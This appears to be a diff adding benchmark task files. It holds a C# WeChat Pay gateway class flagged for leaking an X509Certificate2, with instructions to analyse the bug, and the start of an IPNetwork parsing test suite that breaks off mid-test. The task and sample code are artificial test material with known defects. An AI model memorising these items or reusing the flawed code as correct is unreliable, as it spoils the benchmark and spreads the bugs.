+        private const string REPORTGATEWAYURL = "https://api.mch.weixin.qq.com/payitil/report";
+        private const string BATCHQUERYCOMMENTGATEWAYURL = "https://api.mch.weixin.qq.com/billcommentsp/batchquerycomment";
+        private const string BARCODEGATEWAYURL = "https://api.mch.weixin.qq.com/pay/micropay";
+        private const string ACCESSTOKENURL = "https://api.weixin.qq.com/sns/oauth2/access_token?appid={0}&secret={1}&code={2}&grant_type=authorization_code";
+        private const string AUTHCODETOOPENIDURL = "https://api.mch.weixin.qq.com/tools/authcodetoopenid";
+
+        #endregion
+
+        #region 构造函数
+
+        /// <summary>
+        /// 初始化微信支付网关
+        /// </summary>
+        /// <param name="merchant">商户数据</param>
+        public WechatpayGateway(Merchant merchant)
+            : base(merchant)
+        {
+            _merchant = merchant;
+        }
+
+        #endregion
+
+        #region 属性
+
+        public override string GatewayUrl { get; set; } = UNIFIEDORDERGATEWAYURL;
+
+        public new Merchant Merchant => _merchant;
+
+        public new Order Order
+        {
+            get => (Order)base.Order;
+            set => base.Order = value;
+        }
+
+        public new Notify Notify => (Notify)base.Notify;
+
+        protected override bool IsSuccessPay => Notify.TradeState.ToLower() == SUCCESS;
+
+        protected override bool IsWaitPay => Notify.TradeState.ToLower() == Constant.USERPAYING;
+
+        protected override string[] NotifyVerifyParameter => new string[]
+        { Constant.APPID, Constant.RETURN_CODE, Constant.MCH_ID, Constant.NONCE_STR, Constant.RESULT_CODE };
+
+        #endregion
+
+        #region 方法
+
+        #region 扫码支付
+
+        public string BuildScanPayment()
+        {
+            InitScanPayment();
+            UnifiedOrder();
+            return Notify.CodeUrl;
+        }
+
+        public void InitScanPayment()
+        {
+            Order.TradeType = Constant.NATIVE;
+            Order.SpbillCreateIp = HttpUtil.LocalIpAddress;
+        }
+
+        #endregion
+
+        #region App支付
+
+        public string BuildAppPayment()
+        {
+            InitAppPayment();
+            InitAppParameter();
+            return GatewayData.ToJson();
+        }
+
+        public void InitAppPayment()
+        {
+            Order.TradeType = Constant.APP;
+            Order.SpbillCreateIp = HttpUtil.RemoteIpAddress;
+            UnifiedOrder();
+        }
+
+        /// <summary>
+        /// 初始化APP端调起支付的参数
+        /// </summary>
+        private void InitAppParameter()
+        {
+            GatewayData.Clear();
+            Merchant.NonceStr = Util.GenerateNonceStr();
+            GatewayData.Add(Constant.APPID, Merchant.AppId);
+            GatewayData.Add(Constant.PARTNERID, Merchant.MchId);
+            GatewayData.Add(Constant.PREPAYID, Notify.PrepayId);
+            GatewayData.Add(Constant.PACKAGE, "Sign=WXPay");
+            GatewayData.Add(Constant.NONCE_STR, Merchant.NonceStr);
+            GatewayData.Add(Constant.TIMESTAMP, DateTime.Now.ToTimeStamp());
+            GatewayData.Add(Constant.SIGN, BuildSign());
+        }
+
+        #endregion
+
+        #region Url支付
+
+        public string BuildUrlPayment()
+        {
+            InitUrlPayment();
+            return Notify.MWebUrl;
+        }
+
+        public void InitUrlPayment()
+        {
+            Order.TradeType = Constant.MWEB;
+            Order.SpbillCreateIp = HttpUtil.RemoteIpAddress;
+            UnifiedOrder();
+        }
+
+        #endregion
+
+        #region 公众号支付
+
+        public string BuildPublicPayment()
+        {
+            InitPublicPayment();
+            InitPublicParameter();
+            return GatewayData.ToJson();
+        }
+
+        public void InitPublicPayment()
+        {
+            OAuth oAuth = GetAccessTokenByCode(Order.Code);
+            Order.OpenId = oAuth.OpenId;
+            Order.TradeType = Constant.JSAPI;
+            Order.SpbillCreateIp = HttpUtil.RemoteIpAddress;
+            UnifiedOrder();
+        }
+
+        /// <summary>
+        /// 初始化公众号调起支付的参数
+        /// </summary>
+        private void InitPublicParameter()
+        {
+            GatewayData.Clear();
+            Merchant.NonceStr = Util.GenerateNonceStr();
+            GatewayData.Add(Constant.APPID, Merchant.AppId);
+            GatewayData.Add(Constant.TIMESTAMP, DateTime.Now.ToTimeStamp());
+            GatewayData.Add(Constant.NONCE_STR, Merchant.NonceStr);
+            GatewayData.Add(Constant.PACKAGE, $"{Constant.PREPAY_ID}={Notify.PrepayId}");
+            GatewayData.Add(Constant.SIGN_TYPE, "MD5");
+            GatewayData.Add(Constant.PAYSIGN, BuildSign());
+        }
+
+        #endregion
+
+        #region 小程序支付
+
+        public string BuildAppletPayment()
+        {
+            InitAppletPayment();
+            InitPublicParameter();
+            return GatewayData.ToJson();
+        }
+
+        public void InitAppletPayment()
+        {
+            Order.TradeType = Constant.JSAPI;
+            Order.SpbillCreateIp = HttpUtil.RemoteIpAddress;
+            UnifiedOrder();
+        }
+
+        #endregion
+
+        #region 条码支付
+
+        public void BuildBarcodePayment()
+        {
+            InitBarcodePayment();
+
+            Commit();
+
+            if (!string.IsNullOrEmpty(Notify.TransactionId))
+            {
+                PollQueryTradeStateAsync(new Auxiliary
+                {
+                    TradeNo = Notify.TransactionId,
+                    OutTradeNo = Notify.OutTradeNo
+                })
+                .GetAwaiter()
+                .GetResult();
+            }
+
+            OnPaymentFailed(new PaymentFailedEventArgs(this)
+            {
+                Message = Notify.ReturnMsg
+            });
+        }
+
+        public void InitBarcodePayment()
+        {
+            Order.SpbillCreateIp = HttpUtil.LocalIpAddress;
+            UnifiedOrder();
+            GatewayUrl = BARCODEGATEWAYURL;
+        }
+
+        /// <summary>
+        /// 每隔5秒轮询判断用户是否支付,总共轮询5次
+        /// </summary>
+        private void PollQueryTradeState(IAuxiliary auxiliary)
+        {
+            for (int i = 0; i < 5; i++)
+            {
+                Thread.Sleep(5000);
+                BuildQuery(auxiliary);
+                if (IsSuccessPay)
+                {
+                    OnPaymentSucceed(new PaymentSucceedEventArgs(this));
+                    return;
+                }
+            }
+
+            BuildCancel(auxiliary);
+            if (Notify.Recall == "Y")
+            {
+                BuildCancel(auxiliary);
+            }
+            OnPaymentFailed(new PaymentFailedEventArgs(this)
+            {
+                Message = "支付超时"
+            });
+        }
+
+        /// <summary>
+        /// 异步每隔5秒轮询判断用户是否支付,总共轮询5次
+        /// </summary>
+        private async Task PollQueryTradeStateAsync(IAuxiliary auxiliary)
+        {
+            await Task.Run(() => PollQueryTradeState(auxiliary));
+        }
+
+        #endregion
+
+        #region 查询订单
+
+        public void InitQuery(IAuxiliary auxiliary)
+        {
+            GatewayUrl = QUERYGATEWAYURL;
+            InitAuxiliaryParameter(GatewayAuxiliaryType.Query, auxiliary);
+        }
+
+        public INotify BuildQuery(IAuxiliary auxiliary)
+        {
+            InitQuery(auxiliary);
+
+            Commit();
+
+            return Notify;
+        }
+
+        #endregion
+
+        #region 撤销订单
+
+        public void InitCancel(IAuxiliary auxiliary)
+        {
+            GatewayUrl = CANCELGATEWAYURL;
+            InitAuxiliaryParameter(GatewayAuxiliaryType.Cancel, auxiliary);
+        }
+
+        public INotify BuildCancel(IAuxiliary auxiliary)
+        {
+            InitCancel(auxiliary);
+
+            Commit(true);
+
+            return Notify;
+        }
+
+        #endregion
+
+        #region 关闭订单
+
+        public INotify BuildClose(IAuxiliary auxiliary)
+        {
+            InitClose(auxiliary);
+
+            Commit();
+
+            return Notify;
+        }
+
+        public void InitClose(IAuxiliary auxiliary)
+        {
+            GatewayUrl = CLOSEORDERGATEWAYURL;
+            InitAuxiliaryParameter(GatewayAuxiliaryType.Close, auxiliary);
+        }
+
+        #endregion
+
+        #region 订单退款
+
+        public INotify BuildRefund(IAuxiliary auxiliary)
+        {
+            InitRefund(auxiliary);
+
+            Commit(true);
+
+            return Notify;
+        }
+
+        public void InitRefund(IAuxiliary auxiliary)
+        {
+            GatewayUrl = REFUNDGATEWAYURL;
+            InitAuxiliaryParameter(GatewayAuxiliaryType.Refund, auxiliary);
+        }
+
+        #endregion
+
+        #region 查询退款
+
+        public INotify BuildRefundQuery(IAuxiliary auxiliary)
+        {
+            InitRefundQuery(auxiliary);
+
+            Commit();
+
+            return Notify;
+        }
+
+        public void InitRefundQuery(IAuxiliary auxiliary)
+        {
+            GatewayUrl = REFUNDQUERYGATEWAYURL;
+            InitAuxiliaryParameter(GatewayAuxiliaryType.RefundQuery, auxiliary);
+        }
+
+        #endregion
+
+        #region 对账单下载
+
+        public FileStream BuildBillDownload(IAuxiliary auxiliary)
+        {
+            InitBillDownload(auxiliary);
+
+            Commit();
+
+            string result = GatewayData.GetOriginalResult();
+
+            return CreateCsv(result);
+        }
+
+        public void InitBillDownload(IAuxiliary auxiliary)
+        {
+            GatewayUrl = DOWNLOADBILLGATEWAYURL;
+            InitAuxiliaryParameter(GatewayAuxiliaryType.BillDownload, auxiliary);
+        }
+
+        /// <summary>
+        /// 创建Csv文件
+        /// </summary>
+        /// <param name="content">内容</param>
+        /// <returns></returns>
+        private FileStream CreateCsv(string content)
+        {
+            byte[] buffer = Encoding.UTF8.GetBytes(content);
+            FileStream fileStream = new FileStream($"{DateTime.Now.ToString(TIMEFORMAT)}.csv", FileMode.Create);
+            fileStream.Write(buffer, 0, buffer.Length);
+            fileStream.Position = 0;
+
+            return fileStream;
+        }
+
+        #endregion
+
+        protected override async Task<bool> ValidateNotifyAsync()
+        {
+            base.Notify = await GatewayData.ToObjectAsync<Notify>(StringCase.Snake);
+
+            if (IsSuccessResult())
+            {
+                return true;
+            }
+
+            return false;
+        }
+
+        /// <summary>
+        /// 初始化订单参数
+        /// </summary>
+        private void InitOrderParameter()
+        {
+            GatewayData.Clear();
+            Merchant.NonceStr = Util.GenerateNonceStr();
+            Merchant.DeviceInfo = Constant.WEB;
+            GatewayData.Add(Merchant, StringCase.Snake);
+            GatewayData.Add(Order, StringCase.Snake);
+            GatewayData.Add(Constant.SIGN, BuildSign());
+        }
+
+        /// <summary>
+        /// 初始化辅助参数
+        /// </summary>
+        /// <param name="gatewayAuxiliaryType">辅助类型</param>
+        /// <param name="auxiliary">辅助参数</param>
+        private void InitAuxiliaryParameter(GatewayAuxiliaryType gatewayAuxiliaryType, IAuxiliary auxiliary)
+        {
+            auxiliary.Validate(gatewayAuxiliaryType);
+            Merchant.NonceStr = Util.GenerateNonceStr();
+            GatewayData.Add(Merchant, StringCase.Snake);
+            GatewayData.Add(auxiliary, StringCase.Snake);
+            GatewayData.Add(Constant.SIGN, BuildSign());
+        }
+
+        /// <summary>
+        /// 统一下单
+        /// </summary>
+        /// <returns></returns>
+        private void UnifiedOrder()
+        {
+            GatewayUrl = UNIFIEDORDERGATEWAYURL;
+            InitOrderParameter();
+
+            Commit();
+        }
+
+        /// <summary>
+        /// 通过code获取AccessToken
+        /// </summary>
+        /// <param name="code"></param>
+        public OAuth GetAccessTokenByCode(string code)
+        {
+            string result = HttpUtil
+                .GetAsync(string.Format(ACCESSTOKENURL, Merchant.AppId, Merchant.AppSecret, code))
+                .GetAwaiter()
+                .GetResult();
+            GatewayData.FromJson(result);
+
+            int _code = GatewayData.GetIntValue(Constant.ERRCODE);
+            int _msg = GatewayData.GetIntValue(Constant.ERRMSG);
+            if (_code == 40029)
+            {
+                throw new Exception($"{_code} {_msg}");
+            }
+
+            return GatewayData.ToObject<OAuth>(StringCase.Snake);
+        }
+
+        /// <summary>
+        /// 通过授权码获取OpenId
+        /// </summary>
+        /// <param name="authCode">授权码</param>
+        public string GetOpenIdByAuthCode(string authCode)
+        {
+            GatewayData.Clear();
+            Merchant.NonceStr = Util.GenerateNonceStr();
+            GatewayData.Add(Constant.APPID, Merchant.AppId);
+            GatewayData.Add(Constant.MCH_ID, Merchant.AppId);
+            GatewayData.Add(Constant.AUTH_CODE, Merchant.AppId);
+            GatewayData.Add(Constant.NONCE_STR, Merchant.NonceStr);
+            GatewayData.Add(Constant.SIGN, BuildSign());
+            GatewayUrl = AUTHCODETOOPENIDURL;
+
+            Commit();
+
+            return Notify.OpenId;
+        }
+
+        /// <summary>
+        /// 读取返回结果
+        /// </summary>
+        /// <param name="result"></param>
+        private void ReadReturnResult(string result)
+        {
+            GatewayData.FromXml(result);
+            base.Notify = GatewayData.ToObject<Notify>(StringCase.Snake);
+            IsSuccessReturn();
+        }
+
+        /// <summary>
+        /// 获得签名
+        /// </summary>
+        /// <returns></returns>
+        private string BuildSign()
+        {
+            GatewayData.Remove(Constant.SIGN);
+
+            string data = $"{GatewayData.ToUrl(false)}&key={Merchant.Key}";
+            return EncryptUtil.MD5(data);
+        }
+
+        /// <summary>
+        /// 是否是已成功支付的支付通知
+        /// </summary>
+        /// <returns></returns>
+        private bool IsSuccessResult()
+        {
+            if (Notify.ReturnCode.ToLower() != SUCCESS)
+            {
+                throw new GatewayException("不是成功的返回码");
+            }
+
+            if (Notify.Sign != BuildSign())
+            {
+                throw new GatewayException("签名不一致");
+            }
+
+            if (Notify.ResultCode.ToLower() == SUCCESS)
+            {
+                return true;
+            }
+
+            return false;
+        }
+
+        /// <summary>
+        /// 提交请求
+        /// </summary>
+        /// <param name="isCert">是否添加证书</param>
+        private void Commit(bool isCert = false)
+        {
+            var cert = isCert ? new X509Certificate2(Merchant.SslCertPath, Merchant.SslCertPassword) : null;
+
+            string result = HttpUtil
+                .PostAsync(GatewayUrl, GatewayData.ToXml(), cert)
+                .GetAwaiter()
+                .GetResult();
+            ReadReturnResult(result);
+        }
+
+        /// <summary>
+        /// 是否是已成功的返回
+        /// </summary>
+        /// <returns></returns>
+        private bool IsSuccessReturn()
+        {
+            if (Notify.ReturnCode == FAIL)
+            {
+                throw new GatewayException(Notify.ReturnMsg);
+            }
+
+            return true;
+        }
+
+        protected override void WriteSuccessFlag()
+        {
+            GatewayData.Add(Constant.RETURN_CODE, SUCCESS);
+            HttpUtil.Write(GatewayData.ToXml());
+        }
+
+        protected override void WriteFailureFlag()
+        {
+            GatewayData.Add(Constant.RETURN_CODE, FAIL);
+            HttpUtil.Write(GatewayData.ToXml());
+        }
+
+        #endregion
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource cert of type System.Security.Cryptography.X509Certificates.X509Certificate2 in method "Void WechatpayGateway.Commit(Boolean)".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void WechatpayGateway.Commit(Boolean)
+
+### File:
+src/ICanPay.Wechatpay/WechatpayGateway.cs
+
+### Key:
+WechatpayGateway.cs|Commit|DOTNET_RESOURCE_LEAK
+
+### Hash:
+2fbba46d5fb39abd51db4edc911a2bbe
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1613/instruction.md b/inferredbugs-1613/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..fb8cfcc260c2b8fa393175ecd26d7fe9773101b7
--- /dev/null
+++ b/inferredbugs-1613/instruction.md
@@ -0,0 +1,3382 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** ipnetwork
+**Bug ID:** 11
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using Microsoft.VisualStudio.TestTools.UnitTesting;
+using System.Collections.Generic;
+using System.Linq;
+using System.Numerics;
+
+namespace System.Net.TestProject
+{
+    /// <summary>
+    /// IPNetworkUnitTest test every single method
+    /// </summary>
+    [TestClass]
+    public class IPNetworkUnitTest {
+
+        #region Parse
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentNullException))]
+        public void TestParseIPAddressNetmaskANE2() {
+            IPAddress ip = null;
+            IPNetwork.Parse(ip, ip);
+        }
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentNullException))]
+        public void TestParseIPAddressNetmaskANE3() {
+            IPNetwork.Parse("", 0);
+        }
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentNullException))]
+        public void TestParseIPAddressNetmaskANE4() {
+            IPNetwork.Parse(null, 0);
+        }
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentNullException))]
+        public void TestParseIPAddressNetmaskANE5() {
+            string n = null;
+            IPNetwork.Parse(n, n);
+        }
+
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentException))]
+        public void TestParseIPAddressNetmaskANE8() {
+            IPNetwork ipnet = IPNetwork.Parse("x.x.x.x", "x.x.x.x");
+
+        }
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentException))]
+        public void TestParseIPAddressNetmaskANE9() {
+            IPNetwork ipnet = IPNetwork.Parse("0.0.0.0", "x.x.x.x");
+
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentException))]
+        public void TestParseIPAddressNetmaskANE10() {
+            IPNetwork ipnet = IPNetwork.Parse("x.x.x.x", 0);
+
+        }
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentException))]
+        public void TestParseIPAddressNetmaskANE11() {
+            IPNetwork ipnet = IPNetwork.Parse("0.0.0.0", 33);
+
+        }
+
+        [TestMethod]
+        public void TestParseIPAddressNetmask() {
+
+            string ipaddress = "192.168.168.100";
+            string netmask = "255.255.255.0";
+
+            string network = "192.168.168.0";
+            string broadcast = "192.168.168.255";
+            string firstUsable = "192.168.168.1";
+            string lastUsable = "192.168.168.254";
+            byte cidr = 24;
+            uint usable = 254;
+
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress, netmask);
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(broadcast, ipnetwork.Broadcast.ToString(), "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+
+        [TestMethod]
+        public void TestParseString1() {
+
+            string ipaddress = "192.168.168.100 255.255.255.0";
+
+            string network = "192.168.168.0";
+            string netmask = "255.255.255.0";
+            string broadcast = "192.168.168.255";
+            string firstUsable = "192.168.168.1";
+            string lastUsable = "192.168.168.254";
+            byte cidr = 24;
+            uint usable = 254;
+
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(broadcast, ipnetwork.Broadcast.ToString(), "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+
+        [TestMethod]
+        public void TestParseString2() {
+
+            string ipaddress = "192.168.168.100/24";
+
+            string network = "192.168.168.0";
+            string netmask = "255.255.255.0";
+            string broadcast = "192.168.168.255";
+            string firstUsable = "192.168.168.1";
+            string lastUsable = "192.168.168.254";
+            byte cidr = 24;
+            uint usable = 254;
+
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(broadcast, ipnetwork.Broadcast.ToString(), "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+
+        [TestMethod]
+        public void TestParseString3() {
+
+            string ipaddress = "0.0.0.0/0";
+
+            string network = "0.0.0.0";
+            string netmask = "0.0.0.0";
+            string broadcast = "255.255.255.255";
+            string firstUsable = "0.0.0.1";
+            string lastUsable = "255.255.255.254";
+            byte cidr = 0;
+            uint usable = 4294967294;
+
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(broadcast, ipnetwork.Broadcast.ToString(), "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+
+        [TestMethod]
+        public void TestParseString4() {
+
+            string ipaddress = "0.0.0.0/32";
+
+            string network = "0.0.0.0";
+            string netmask = "255.255.255.255";
+            string broadcast = "0.0.0.0";
+            string firstUsable = "0.0.0.0";
+            string lastUsable = "0.0.0.0";
+            byte cidr = 32;
+            uint usable = 0;
+
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(broadcast, ipnetwork.Broadcast.ToString(), "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+
+        [TestMethod]
+        public void TestParseString5() {
+
+            string ipaddress = "255.255.255.255/32";
+
+            string network = "255.255.255.255";
+            string netmask = "255.255.255.255";
+            string broadcast = "255.255.255.255";
+            string firstUsable = "255.255.255.255";
+            string lastUsable = "255.255.255.255";
+            byte cidr = 32;
+            uint usable = 0;
+
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(broadcast, ipnetwork.Broadcast.ToString(), "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+
+        [TestMethod]
+        public void TestParseIPAddressNoNetmask1() {
+
+            string ipaddress = "10.0.0.0";
+
+            string network = "10.0.0.0";
+            string netmask = "255.0.0.0";
+            string broadcast = "10.255.255.255";
+            string firstUsable = "10.0.0.1";
+            string lastUsable = "10.255.255.254";
+            byte cidr = 8;
+            uint usable = 16777214;
+
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(broadcast, ipnetwork.Broadcast.ToString(), "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+        }
+
+
+
+        [TestMethod]
+        public void TestParseIPAddressNoNetmask2() {
+
+            string ipaddress = "172.0.0.0";
+
+            string network = "172.0.0.0";
+            string netmask = "255.255.0.0";
+            string broadcast = "172.0.255.255";
+            string firstUsable = "172.0.0.1";
+            string lastUsable = "172.0.255.254";
+            byte cidr = 16;
+            uint usable = 65534;
+
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(broadcast, ipnetwork.Broadcast.ToString(), "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+        }
+        [TestMethod]
+        public void TestParseIPAddressNoNetmask3() {
+
+            string ipaddress = "192.0.0.0";
+
+            string network = "192.0.0.0";
+            string netmask = "255.255.255.0";
+            string broadcast = "192.0.0.255";
+            string firstUsable = "192.0.0.1";
+            string lastUsable = "192.0.0.254";
+            byte cidr = 24;
+            uint usable = 254;
+
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(broadcast, ipnetwork.Broadcast.ToString(), "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentException))]
+        public void TestParseIPAddressNoNetmask4() {
+
+            string ipaddress = "224.0.0.0";
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+
+        }
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentException))]
+        public void TestParseIPAddressNoNetmask5() {
+
+            string ipaddress = "240.0.0.0";
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+
+        }
+
+
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentException))]
+        public void TestParseStringAE1() {
+            string ipaddress = "garbage";
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentException))]
+        public void TestParseStringAE2() {
+            string ipaddress = "0.0.0.0 0.0.1.0";
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentNullException))]
+        public void TestParseStringANE1() {
+            string ipaddress = null;
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+        }
+
+
+
+        #endregion
+
+        #region TryParse
+
+        [TestMethod]
+        public void TestTryParseIPAddressNetmaskANE2() {
+            IPNetwork ipnet = null;
+            IPAddress ip = null;
+            bool parsed = IPNetwork.TryParse(ip, ip, out ipnet);
+
+            Assert.AreEqual(false, parsed, "parsed");
+            Assert.AreEqual(null, ipnet, "ipnet");
+        }
+
+        [TestMethod]
+        public void TestTryParseIPAddressNetmaskANE3() {
+            IPNetwork ipnet = null;
+            bool parsed = IPNetwork.TryParse("", 0, out ipnet);
+
+            Assert.AreEqual(false, parsed, "parsed");
+            Assert.AreEqual(null, ipnet, "ipnet");
+        }
+        [TestMethod]
+        public void TestTryParseIPAddressNetmaskANE4() {
+            IPNetwork ipnet = null;
+            bool parsed = IPNetwork.TryParse(null, 0, out ipnet);
+
+            Assert.AreEqual(false, parsed, "parsed");
+            Assert.AreEqual(null, ipnet, "ipnet");
+        }
+        [TestMethod]
+        public void TestTryParseIPAddressNetmaskANE5() {
+            string n = null;
+            IPNetwork ipnet = null;
+            bool parsed = IPNetwork.TryParse(n, n, out ipnet);
+
+            Assert.AreEqual(false, parsed, "parsed");
+            Assert.AreEqual(null, ipnet, "ipnet");
+
+        }
+
+        [TestMethod]
+        public void TestTryParseIPAddressNetmaskANE6() {
+            IPNetwork ipnet = null;
+            bool parsed = IPNetwork.TryParse(IPAddress.Parse("10.10.10.10"), null, out ipnet);
+            Assert.AreEqual(false, parsed, "parsed");
+            Assert.AreEqual(null, ipnet, "ipnet");
+        }
+
+        [TestMethod]
+        public void TestTryParseIPAddressNetmaskANE7() {
+            IPNetwork ipnet = null;
+            bool parsed = IPNetwork.TryParse("0.0.0.0", null, out ipnet);
+
+            Assert.AreEqual(false, parsed, "parsed");
+            Assert.AreEqual(null, ipnet, "ipnet");
+
+        }
+
+        [TestMethod]
+        public void TestTryParseIPAddressNetmaskANE8() {
+            IPNetwork ipnet = null;
+            bool parsed = IPNetwork.TryParse("x.x.x.x", "x.x.x.x", out ipnet);
+
+            Assert.AreEqual(false, parsed, "parsed");
+            Assert.AreEqual(null, ipnet, "ipnet");
+
+        }
+
+        [TestMethod]
+        public void TestTryParseIPAddressNetmaskANE9() {
+            IPNetwork ipnet = null;
+            bool parsed = IPNetwork.TryParse("0.0.0.0", "x.x.x.x", out ipnet);
+
+            Assert.AreEqual(false, parsed, "parsed");
+            Assert.AreEqual(null, ipnet, "ipnet");
+
+        }
+
+
+
+        [TestMethod]
+        public void TestTryParseIPAddressNetmaskANE10() {
+            IPNetwork ipnet = null;
+            bool parsed = IPNetwork.TryParse("x.x.x.x", 0, out ipnet);
+
+            Assert.AreEqual(false, parsed, "parsed");
+            Assert.AreEqual(null, ipnet, "ipnet");
+
+        }
+
+        [TestMethod]
+        public void TestTryParseIPAddressNetmaskANE11() {
+            IPNetwork ipnet = null;
